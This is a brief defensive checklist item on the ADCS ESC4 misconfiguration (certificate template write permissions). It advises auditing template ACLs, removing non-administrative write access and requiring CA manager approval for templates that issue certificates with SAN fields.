**7. ADCS ESC4 — Template Write Permissions** Audit certificate template ACLs using Certipy or PSPKIAudit. Remove write permissions from non-administrative accounts on all templates. Enable CA Manager Approval for templates that issue certificates containing SAN fields.
